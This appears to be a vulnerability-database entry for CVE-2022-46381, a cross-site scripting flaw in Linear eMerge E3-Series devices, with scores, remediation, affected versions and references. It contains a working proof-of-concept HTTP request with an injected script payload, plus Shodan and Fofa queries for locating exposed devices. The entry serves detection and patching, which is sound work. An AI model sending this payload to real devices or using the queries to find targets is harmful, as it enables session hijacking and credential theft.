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CVE-2022-46381: Linear eMerge E3-Series - Cross-Site Scripting

TitleLinear eMerge E3-Series - Cross-Site Scripting
Authorarafatansari
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest security patch or update provided by the vendor to fix the XSS vulnerability in the Linear eMerge E3-Series.
CVSS Score6.1
EPSS Score0.8313
CVE IDCVE-2022-46381
CWE IDCWE-79
Shodan Queryhttp.html:"Linear eMerge"http.html:"linear emerge"
Fofa Querybody="linear emerge"
Tags cve cve2022 xss emerge linear niceforyou vkev vuln

🔍 Vulnerability Description

Linear eMerge E3-Series devices contain a cross-site scripting vulnerability via the type parameter, e.g., to the badging/badge_template_v0.php component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and thus steal cookie-based authentication credentials and launch other attacks. This affects versions 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e.

🌐 HTTP Request

GET /badging/badge_template_v0.php?layout=1&type="/><svg/onload="alert(document.domain)"/> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-46381.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-46381.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A